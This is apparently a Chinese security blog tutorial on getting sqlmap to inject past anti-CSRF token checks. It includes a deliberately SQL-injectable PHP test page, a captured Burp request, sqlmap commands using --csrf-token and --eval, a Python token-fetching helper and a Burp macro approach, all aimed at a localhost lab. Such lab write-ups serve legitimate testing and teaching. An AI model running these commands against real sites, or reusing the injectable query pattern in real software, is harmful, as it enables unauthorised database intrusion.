文章目录
  1. 1. sqlmap自带功能
    1. 1.1. 方法1
    2. 1.2. 方法2
  2. 2. burp的宏

目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。针对后两种遇到了注入点,如何自动化利用sqlmap注入呢?

目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。针对后两种遇到了注入点,如何自动化利用sqlmap注入呢?

比如说下面这种情况,存在注入点,但是会验证token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
/*
* PHP简单利用token防止表单重复提交
* 此处理方法纯粹是为了给初学者参考
*/
session_start();
// var_dump($_REQUEST);
function set_token() {
$_SESSION['token'] = md5(microtime(true));
}

function valid_token() {
$return = $_REQUEST['token'] === $_SESSION['token'] ? true : false;
set_token();
return $return;
}

//如果token为空则生成一个token
if(!isset($_SESSION['token']) || $_SESSION['token']=='') {
set_token();
}

error_reporting(E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE);
@mysql_connect("127.0.0.1".':'."3306",root,'root')
or die("数据库服务器连接失败");
@mysql_select_db('mysql')
or die("数据库不存在或不可用");

if(isset($_POST['id'])){
if(!valid_token()){
echo "token error";
}else{
//echo '成功提交,Value:'.$_POST['test'];
$id=$_REQUEST[id];
$sql='select * from mysql.user where user='."'".$id."'".' limit 0,1;';
echo $sql;
mysql_query($sql);
$set_result = mysql_query($sql);
while($row =mysql_fetch_array($set_result)){
$result[]=$row;
}
var_dump($result);
}
}
//echo "SESSION ".$_SESSION['token'];
?>
<form method="post" action="">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']?>">
<input type="text" name="id" value="root">
<input type="submit" value="提交" />
</form>

sqlmap自带功能

burp抓个包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /test/csrf_test/csrf.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://127.0.0.1/test/csrf_test/csrf.php?id=root
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Cookie: PHPSESSID=o39l0bgbei6lfjn0pg0tu0ghl1
Connection: close
Upgrade-Insecure-Requests: 1

token=82e50c9428a2b659f9fba799e8f80bec&id=root

现在的目的是只要能把获取到的token放到post请求就OK~

方法1

最新版sqlmap1.2.8.15#dev良好支持csrf注入,它会自动先get请求一次页面,拿到给定参数的值后再进行注入。

1
python sqlmap.py -r 5.txt --csrf-token="token" --csrf-url="http://127.0.0.1/test/csrf_test/csrf.php"  --dbms mysql --level 5 -p id --proxy http://127.0.0.1:8080

方法2

使用sqlmap的–eval参数在发送请求前先执行我们构造的脚本,就可以把获取到的token带进去。

执行的脚本示例如下,一定要带上你的cookie,这个是后端“跟踪”你的凭证:

1
2
3
4
5
6
import requests,re;
def get_token():
cookies={'PHPSESSID': 'o39l0bgbei6lfjn0pg0tu0ghl1'}
r=requests.get('http://127.0.0.1/test/csrf_test/csrf.php',cookies=cookies);
token=re.search('token" value="(.*?)"',r.content).group(1);
return token

把burp抓到的包保存为1.txt,把eval 的脚本保存为 csrf.py,然后执行sqlmap

1
python sqlmap.py -r 1.txt --eval="import csrf;token=csrf.get_token()" --dbms mysql --level 5 -p id

burp的宏

burp的宏会记录通信过程,找到上下文关系中可能存在的一些依赖。比如token,上一次请求拿到的token下一次请求时得带上这个token。
具体配置参考这篇文章就可以,这里就不赘述了。
最后一条命令搞定

1
python sqlmap.py -r 1.txt  --dbms mysql --level 5 -p id --proxy http://127.0.0.1:8080

美滋滋。

参考链接:
https://blog.csdn.net/u011066706/article/details/51175351

https://www.cyberis.co.uk/burp_macros.html

https://my.oschina.net/oby/blog/847522

http://www.freebuf.com/articles/web/156735.html

http://www.freebuf.com/sectool/128589.html

http://www.vuln.cn/7009

文章目录
  1. 1. sqlmap自带功能
    1. 1.1. 方法1
    2. 1.2. 方法2
  2. 2. burp的宏